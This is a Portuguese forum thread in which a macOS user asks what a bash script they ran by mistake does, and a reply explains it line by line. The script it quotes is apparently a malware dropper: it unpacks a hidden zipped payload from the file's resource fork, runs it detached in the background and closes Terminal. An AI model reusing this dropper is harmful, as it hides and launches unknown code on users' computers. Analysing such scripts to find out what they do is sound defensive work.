Ajuda a entender código

Olá, acredito que estou no lugar errado perguntando isso, pois a dúvida é sobre MacOS, mas não consegui ajuda nos lugares sobre Mac então peço a ajuda de vocês. Acredito que para quem entende deve ser parecido ou até igual no linux. Sem querer executei um arquivo com um codigo que não sei o que significa, segue o código:

#!/bin/bash
TEMP_NAME="$(mktemp -t Installer)"
tail -c 9355 “$0/…namedfork/rsrc” | funzip -uRRsnzC > “${TEMP_NAME}”
chmod +x “${TEMP_NAME}” && nohup “${TEMP_NAME}” > /dev/null 2>&1 &
killall Terminal
exit

Alguém sabe me dizer mais ou menos o que isso faz? Não sei se instalei algum arquivo malicioso no computador ou não.

Claro, veja aí

Define uma variável chamada TEMP_NAME com a saídado comando mktemp -t Installer que por sua vez cria um arquivo temporário cujo nome começa com “Installer” e retorna o nome do arquivo

Pega os últimos 9355 bytes do arquivo “/…namedfork/rsrc” na pasta do script ($0) no terminal

Redireciona a saída do comando a esquerda pro dá direita

Extrai um arquivo ZIP do terminal pro terminal

São flags pru funzip, no linux eu não achei nada relevante

Redireciona a saída do comando a esquerda para o arquivo a direita

O arquivo criado no início

Deixa um arquivo executável

Só executa o comando a direita se o da esquerda for bem sucedido

inicia um comando em background, mesmo se o terminal for fechado ele continua executando

Comando a ser executado

Redireciona > a saída de erro/logo (2) pra saida normal (&)

Não espera o comqndo atual terminal pra chamar o próximo

Mata (fecha sem perguntar) todas as instancias do aplicativo/processo Terminal

Sai do script

1 curtida

Aqui tem uma categoria só de Mac OS:
https://plus.diolinux.com.br/c/duvidas-macos/